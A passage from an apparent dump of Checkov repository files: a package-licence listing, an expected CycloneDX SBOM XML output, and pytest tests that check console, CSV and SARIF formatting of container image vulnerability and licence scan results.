'fs-write-stream-atomic', 'version': '1.0.10', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-obj', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isarray', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._baseindexof', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cli-columns', 'version': '3.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'har-schema', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'find-up', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-key', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'shebang-command', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'verror', 'version': '1.10.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-fullwidth-code-point', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'debug', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'debuglog', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'delegates', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lazy-property', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'locate-path', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mime-types', 'version': '2.1.19', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-registry-fetch', 'version': '4.0.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'copy-concurrently', 'version': '1.0.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npmlog', 'version': '4.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'signal-exit', 'version': '3.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'util-promisify', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-run-path', 'version': '2.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'glob', 'version': '7.1.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'init-package-json', 'version': '1.10.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpmsearch', 'version': '2.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpmteam', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'smart-buffer', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'get-caller-file', 'version': '2.0.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'color-convert', 'version': '1.9.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yallist', 'version': '2.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'lowercase-keys', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'stream-shift', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-cli-docs', 'version': '0.1.0', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'lru-cache', 'version': '4.1.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'dotenv', 'version': '5.0.1', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'es-abstract', 'version': '1.12.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'promise-inflight', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'pump', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'camelcase', 'version': '5.3.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cli-boxes', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ci-info', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minipass', 'version': '2.9.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'node-gyp', 'version': '5.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-profile', 'version': '4.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'strip-eof', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cacache', 'version': '12.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'clone', 'version': '1.0.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'code-point-at', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string-width', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'os-tmpdir', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'aws4', 'version': '1.8.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'get-stream', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-package-tree', 'version': '5.3.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'socks-proxy-agent', 'version': '4.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'from2', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'strip-ansi', 'version': '5.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpx', 'version': '10.2.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'mime-db', 'version': '1.35.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'process-nextick-args', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isstream', 'version': '0.1.2', 'licenses': ['MIT']}, {'type': 'python', 'name': 'configobj', 'version': '5.0.6', 'licenses': ['UNKNOWN']}, {'type': 'python', 'name': 'mercurial', 'version': '4.0', 'licenses': ['GNU GPLv2 or any later version']}, {'type': 'python', 'name': 'six', 'version': '1.10.0', 'licenses': ['MIT']}, {'type': 'python', 'name': 'python', 'version': '2.7.13', 'licenses': ['PSF license']}, {'type': 'python', 'name': 'wsgiref', 'version': '0.1.2', 'licenses': ['PSF or ZPL']}, {'type': 'python', 'name': 'argparse', 'version': '1.2.1', 'licenses': ['Python Software Foundation License']}, {'type': 'python', 'name': 'bzr', 'version': '2.8.0dev1', 'licenses': ['GNU GPL v2']}], 'relatedResourceId': 'jobs.container-test-job'}"
  },
  {
    "path": "tests/sca_image/outputs/results_cyclonedx.xml",
    "content": "<?xml version=\"1.0\" ?>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.4\" serialNumber=\"urn:uuid:1a074bba-f4db-4568-a508-86e676e0737c\" version=\"1\">\n\t<metadata>\n\t\t<timestamp>2023-10-25T07:58:16.083818+00:00</timestamp>\n\t\t<tools>\n\t\t\t<tool>\n\t\t\t\t<vendor>CycloneDX</vendor>\n\t\t\t\t<name>cyclonedx-python-lib</name>\n\t\t\t\t<version>5.0.0</version>\n\t\t\t\t<externalReferences>\n\t\t\t\t\t<reference type=\"build-system\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/actions</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"distribution\">\n\t\t\t\t\t\t<url>https://pypi.org/project/cyclonedx-python-lib/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"documentation\">\n\t\t\t\t\t\t<url>https://cyclonedx-python-library.readthedocs.io/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"issue-tracker\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/issues</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"license\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"release-notes\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"vcs\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"website\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/#readme</url>\n\t\t\t\t\t</reference>\n\t\t\t\t</externalReferences>\n\t\t\t</tool>\n\t\t\t<tool>\n\t\t\t\t<vendor>bridgecrew</vendor>\n\t\t\t\t<name>checkov</name>\n\t\t\t\t<version>3.0.0</version>\n\t\t\t\t<externalReferences>\n\t\t\t\t\t<reference type=\"build-system\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/actions</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"distribution\">\n\t\t\t\t\t\t<url>https://pypi.org/project/checkov/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"documentation\">\n\t\t\t\t\t\t<url>https://www.checkov.io/1.Welcome/What%20is%20Checkov.html</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"issue-tracker\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/issues</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"license\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/blob/master/LICENSE</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"social\">\n\t\t\t\t\t\t<url>https://twitter.com/bridgecrewio</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"vcs\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"website\">\n\t\t\t\t\t\t<url>https://www.checkov.io/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t</externalReferences>\n\t\t\t</tool>\n\t\t</tools>\n\t</metadata>\n\t<components>\n\t\t<component type=\"container\" bom-ref=\"pkg:oci/bridgecrewio/example/path/to/Dockerfile@sha256:123456\">\n\t\t\t<name>bridgecrewio/example//sha256:123456</name>\n\t\t\t<version/>\n\t\t\t<purl>pkg:oci/bridgecrewio/example/path/to/Dockerfile@sha256:123456</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:generic/bridgecrewio/example/path/to/Dockerfile/bzip2@1.0.8-5build1\">\n\t\t\t<name>bzip2</name>\n\t\t\t<version>1.0.8-5build1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:generic/bridgecrewio/example/path/to/Dockerfile/bzip2@1.0.8-5build1</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:generic/bridgecrewio/example/path/to/Dockerfile/libidn2@2.3.2-2build1\">\n\t\t\t<name>libidn2</name>\n\t\t\t<version>2.3.2-2build1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:generic/bridgecrewio/example/path/to/Dockerfile/libidn2@2.3.2-2build1</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/pcre2@10.39-3build1?distro=jammy\">\n\t\t\t<name>pcre2</name>\n\t\t\t<version>10.39-3build1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Apache-2.0</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/pcre2@10.39-3build1?distro=jammy</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/perl@5.34.0-3ubuntu1?distro=jammy\">\n\t\t\t<name>perl</name>\n\t\t\t<version>5.34.0-3ubuntu1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Apache-2.0-Fake</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/perl@5.34.0-3ubuntu1?distro=jammy</purl>\n\t\t</component>\n\t</components>\n\t<dependencies>\n\t\t<dependency ref=\"pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/pcre2@10.39-3build1?distro=jammy\"/>\n\t\t<dependency ref=\"pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/perl@5.34.0-3ubuntu1?distro=jammy\"/>\n\t\t<dependency ref=\"pkg:generic/bridgecrewio/example/path/to/Dockerfile/bzip2@1.0.8-5build1\"/>\n\t\t<dependency ref=\"pkg:generic/bridgecrewio/example/path/to/Dockerfile/libidn2@2.3.2-2build1\"/>\n\t\t<dependency ref=\"pkg:oci/bridgecrewio/example/path/to/Dockerfile@sha256:123456\"/>\n\t</dependencies>\n\t<vulnerabilities>\n\t\t<vulnerability bom-ref=\"785c4c75-ccc7-4969-bfd1-41434d172b7a\">\n\t\t\t<id>CVE-2020-16156</id>\n\t\t\t<source>\n\t\t\t\t<url>https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>7.8</score>\n\t\t\t\t\t<severity>medium</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>CPAN 2.28 allows Signature Verification Bypass.</description>\n\t\t\t<recommendation>N/A</recommendation>\n\t\t\t<published>2021-12-13T20:15:00+02:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/perl@5.34.0-3ubuntu1?distro=jammy</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t\t<vulnerability bom-ref=\"c18f80db-eaf7-4870-8a81-5342e42f5ec9\">\n\t\t\t<id>CVE-2022-1587</id>\n\t\t\t<source>\n\t\t\t\t<url>https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587</url>\n\t\t\t</source>\n\t\t\t<ratings>\n\t\t\t\t<rating>\n\t\t\t\t\t<source>\n\t\t\t\t\t\t<url>https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587</url>\n\t\t\t\t\t</source>\n\t\t\t\t\t<score>9.1</score>\n\t\t\t\t\t<severity>low</severity>\n\t\t\t\t\t<method>CVSSv3</method>\n\t\t\t\t\t<vector>AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H</vector>\n\t\t\t\t</rating>\n\t\t\t</ratings>\n\t\t\t<description>An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.</description>\n\t\t\t<recommendation>N/A</recommendation>\n\t\t\t<published>2022-05-17T00:15:00+03:00</published>\n\t\t\t<affects>\n\t\t\t\t<target>\n\t\t\t\t\t<ref>pkg:deb/bridgecrewio/example/path/to/Dockerfile/ubuntu/pcre2@10.39-3build1?distro=jammy</ref>\n\t\t\t\t</target>\n\t\t\t</affects>\n\t\t</vulnerability>\n\t</vulnerabilities>\n</bom>\n"
  },
  {
    "path": "tests/sca_image/test_output_reports.py",
    "content": "import os.path\nimport sys\nfrom pathlib import Path\nimport xml.dom.minidom\nfrom typing import List\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.csv import CSVSBOM\nfrom checkov.common.output.cyclonedx import CycloneDX\nfrom checkov.common.output.sarif import Sarif\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\nOUTPUTS_DIR = Path(__file__).parent / \"outputs\"\n\n\ndef _get_deterministic_items_in_cyclonedx(pretty_xml_as_list: List[str]) -> List[str]:\n    # the lines with the fields \"serialNumber\", \"bom-ref\" and \"timestamp\" contain some not-deterministic data (uuids,\n    # timestamp). so we skip these lines by the first 'if when checking whether we get the expected results\n    # in addition also the line that display the checkov version may be changeable, so we skip it as well\n    # (in the second 'if')\n    filtered_list = []\n    for i, line in enumerate(pretty_xml_as_list):\n        if \"bom-ref\" not in line and \"serialNumber\" not in line and \"timestamp\" not in line:\n            if i == 0 or not any(tool_name in pretty_xml_as_list[i - 1] for tool_name in\n                                 (\"<name>checkov</name>\", \"<name>cyclonedx-python-lib</name>\")):\n                filtered_list.append(line)\n    return filtered_list\n\n\ndef test_console_output(mocker, sca_image_report):\n    console_output = sca_image_report.print_console(False, False, None, None, False)\n    assert console_output == \"\".join(\n        [\n            \"sca_image scan results:\\n\",\n            \"\\n\",\n            \"Passed checks: 1, Failed checks: 3, Skipped checks: 1\\n\",\n            \"\\n\",\n            \"\\t/path/to/Dockerfile (sha256:123456) - CVEs Summary:\\n\",\n            '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n            '\\t│ Total CVEs: 3        │ critical: 0          │ high: 0              │ medium: 1            │ low: 1               │ skipped: 1           │ Total Packages Used: │\\n',\n            \"\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n\",\n            '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n            '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n            '\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ perl                 │ CVE-2020-16156       │ MEDIUM               │ 5.34.0-3ubuntu1      │ N/A                  │ N/A                  │                      │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ pcre2                │ CVE-2022-1587        │ LOW                  │ 10.39-3build1        │ N/A                  │ N/A                  │                      │\\n',\n            '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n',\n            \"\\n\",\n            \"\\t/path/to/Dockerfile (sha256:123456) - Licenses Statuses:\\n\",\n            '\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n',\n            \"\\t│ Package name                   │ Package version                │ Policy ID                      │ License                            │\\n\",\n            '\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n',\n            '\\t│ perl                           │ 5.34.0-3ubuntu1                │ BC_LIC_1                       │ Apache-2.0-Fake                    │\\n',\n            '\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n',\n        ]\n    )\n\n\ndef test_console_output_in_tty(mocker: MockerFixture, sca_image_report):\n    # simulate a tty call by enforcing color\n    mocker.patch.dict(os.environ, {\"FORCE_COLOR\": \"True\"})\n\n    console_output = sca_image_report.print_console(False, False, None, None, False)\n\n    # then\n    assert console_output == \"\".join(\n        [\n            '\\x1b[34msca_image scan results:\\n',\n            '\\x1b[0m\\x1b[36m\\n',\n            'Passed checks: 1, Failed checks: 3, Skipped checks: 1\\n',\n            '\\n',\n            '\\x1b[0m\\t/path/to/Dockerfile (sha256:123456) - CVEs Summary:\\n',\n            '\\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\\n',\n            '\\t│ Total CVEs: 3        │ critical: 0          │ high: 0              │ medium: 1            │ low: 1               │ skipped: 1           │ Total Packages Used: │\\n',\n            \"\\t│                      │                      │                      │                      │                      │                      │ 0                    │\\n\",\n            '\\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\\n',\n            '\\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\\n',\n            '\\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ perl                 │ CVE-2020-16156       │ MEDIUM               │ 5.34.0-3ubuntu1      │ N/A                  │ N/A                  │                      │\\n',\n            '\\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\\n',\n            '\\t│ pcre2                │ CVE-2022-1587        │ LOW                  │ 10.39-3build1        │ N/A                  │ N/A                  │                      │\\n',\n            '\\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\\n',\n            '\\n',\n            '\\t/path/to/Dockerfile (sha256:123456) - Licenses Statuses:\\n',\n            '\\t┌────────────────────────────────┬────────────────────────────────┬────────────────────────────────┬────────────────────────────────────┐\\n',\n            \"\\t│ Package name                   │ Package version                │ Policy ID                      │ License                            │\\n\",\n            '\\t├────────────────────────────────┼────────────────────────────────┼────────────────────────────────┼────────────────────────────────────┤\\n',\n            '\\t│ perl                           │ 5.34.0-3ubuntu1                │ BC_LIC_1                       │ Apache-2.0-Fake                    │\\n',\n            '\\t└────────────────────────────────┴────────────────────────────────┴────────────────────────────────┴────────────────────────────────────┘\\n',\n        ]\n    )\n\n\ndef test_get_cyclonedx_report(sca_image_report, tmp_path: Path):\n    cyclonedx_reports = [sca_image_report]\n    cyclonedx = CycloneDX(repo_id=\"bridgecrewio/example\", reports=cyclonedx_reports)\n    cyclonedx_output = cyclonedx.get_xml_output()\n    dom = xml.dom.minidom.parseString(cyclonedx_output)\n    pretty_xml_as_string = str(dom.toprettyxml())\n    with open(os.path.join(OUTPUTS_DIR, \"results_cyclonedx.xml\")) as f_xml:\n        expected_pretty_xml = f_xml.read()\n\n    actual_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(pretty_xml_as_string.split(\"\\n\"))\n    expected_pretty_xml_as_list = _get_deterministic_items_in_cyclonedx(expected_pretty_xml.split(\"\\n\"))\n\n    assert actual_pretty_xml_as_list == expected_pretty_xml_as_list\n\n\ndef test_get_csv_report(sca_image_report, tmp_path: Path):\n    file_name = \"container_images.csv\"\n    csv_sbom_report = CSVSBOM()\n    csv_sbom_report.add_report(report=sca_image_report, git_org=\"acme\", git_repository=\"bridgecrewio/example\")\n    csv_sbom_report.persist_report_container_images(file_name=file_name, is_api_key=True, output_path=str(tmp_path))\n    output_file_path = tmp_path / file_name\n    csv_output = output_file_path.read_text()\n    csv_output_str = csv_sbom_report.get_csv_output_packages(check_type=CheckType.SCA_IMAGE)\n\n    # # then\n    expected_csv_output = [\n        'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version',\n        'perl,5.34.0-3ubuntu1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2020-16156,MEDIUM,CPAN 2.28 allows Signature Verification Bypass.,Apache-2.0-Fake,N/A,,,',\n        'pcre2,10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1587,LOW,An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.,Apache-2.0,N/A,,,',\n        'pcre2,10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1586,LOW,An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT.,Apache-2.0,N/A,,,',\n        'bzip2,1.0.8-5build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,,Unknown,N/A,,,',\n        'libidn2,2.3.2-2build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,,Unknown,N/A,,,', '']\n\n    csv_output_as_list = csv_output.split(\"\\n\")\n    assert csv_output_as_list == expected_csv_output\n\n    expected_csv_output_str = [\n        'Package,Version,Path,Line(s),Git Org,Git Repository,Vulnerability,Severity,Description,Licenses,Fix Version,Registry URL,Root Package,Root Version',\n        '\"perl\",5.34.0-3ubuntu1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2020-16156,MEDIUM,\"CPAN 2.28 allows Signature Verification Bypass.\",\"Apache-2.0-Fake\",N/A,,,',\n        '\"pcre2\",10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1587,LOW,\"An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.\",\"Apache-2.0\",N/A,,,',\n        '\"pcre2\",10.39-3build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,CVE-2022-1586,LOW,\"An out-of-bounds read vulnerability was discovered in the PCRE2 library in the compile_xclass_matchingpath() function of the pcre2_jit_compile.c file. This involves a unicode property matching issue in JIT-compiled regular expressions. The issue occurs because the character was not fully read in case-less matching within JIT.\",\"Apache-2.0\",N/A,,,',\n        '\"bzip2\",1.0.8-5build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,\"\",\"Unknown\",N/A,,,',\n        '\"libidn2\",2.3.2-2build1,/path/to/Dockerfile (sha256:123456),,acme,bridgecrewio/example,,,\"\",\"Unknown\",N/A,,,',\n        '']\n    csv_output_str_as_list = csv_output_str.split(\"\\n\")\n    assert csv_output_str_as_list == expected_csv_output_str\n\n\ndef test_sarif_output(sca_image_report_scope_function):\n    # The creation of sarif_json may change the input report. in order not to affect the other tests, we use\n    # a report that is unique for the scope of the function\n\n    # given\n    sarif_output = Sarif(reports=[sca_image_report_scope_function], tool=\"Checkov\").json\n\n    # then\n    sarif_output[\"runs\"][0][\"tool\"][\"driver\"][\"version\"] = \"2.0.x\"\n    expected_sarif_json = {\n        \"$schema\": \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json\",\n        \"version\": \"2.1.0\",\n        \"runs\": [\n            {\n                \"tool\": {\n                    \"driver\": {\n                        \"name\": \"Checkov\",\n                        \"version\": \"2.0.x\",\n                        \"informationUri\": \"https://checkov.io\",\n                        \"rules\": [\n                            {\n                                \"id\": \"Apache-2.0-Fake_perl@5.34.0-3ubuntu1\",\n                                \"name\": \"License Apache-2.0-Fake - perl: 5.34.0-3ubuntu1\",\n                                \"shortDescription\": {\"text\": \"License Apache-2.0-Fake - perl: 5.34.0-3ubuntu1\"},\n                                \"fullDescription\": {\"text\": \"Package perl@5.34.0-3ubuntu1 has license Apache-2.0-Fake\"},\n                                \"help\": {\"text\": \"SCA license\\nResource: path/to/Dockerfile (sha256:123456).perl\"},\n                                \"defaultConfiguration\": {\"level\": \"error\"},\n                            },\n                            {\n                                \"id\": \"CVE-2020-16156_perl@5.34.0-3ubuntu1\",\n                                \"name\": \"CVE-2020-16156 - perl: 5.34.0-3ubuntu1\",\n                                \"shortDescription\": {\"text\": \"CVE-2020-16156 - perl: 5.34.0-3ubuntu1\"},\n                                \"fullDescription\": {\"text\": \"CPAN 2.28 allows Signature Verification Bypass.\"},\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: path/to/Dockerfile (sha256:123456).perl\\nStatus: needed\"\n                                },\n                                \"defaultConfiguration\": {\"level\": \"error\"},\n                                \"properties\": {\"security-severity\": \"7.8\"},\n                                \"helpUri\": \"https://people.canonical.com/~ubuntu-security/cve/2020/CVE-2020-16156\",\n                            },\n                            {\n                                \"id\": \"CVE-2022-1587_pcre2@10.39-3build1\",\n                                \"name\": \"CVE-2022-1587 - pcre2: 10.39-3build1\",\n                                \"shortDescription\": {\"text\": \"CVE-2022-1587 - pcre2: 10.39-3build1\"},\n                                \"fullDescription\": {\n                                    \"text\": \"An out-of-bounds read vulnerability was discovered in the PCRE2 library in the get_recurse_data_length() function of the pcre2_jit_compile.c file. This issue affects recursions in JIT-compiled regular expressions caused by duplicate data transfers.\"\n                                },\n                                \"help\": {\n                                    \"text\": \"SCA package scan\\nResource: path/to/Dockerfile (sha256:123456).pcre2\\nStatus: needed\"\n                                },\n                                \"defaultConfiguration\": {\"level\": \"error\"},\n                                \"properties\": {\"security-severity\": \"9.1\"},\n                                \"helpUri\": \"https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-1587\",\n                            },\n                            {\n                                \"id\": \"CVE-2022-1586_pcre2@10.39-3build1\",\n                                \"name\": \"CVE-2022-1586 - pcre2: 10.39-3build1\",\n                                \"shortDescription\": {\"text\": \"CVE-2022-1586 - pcre2: 10.39-3build1\"},\n                                \"fullDescription\": {\n                                    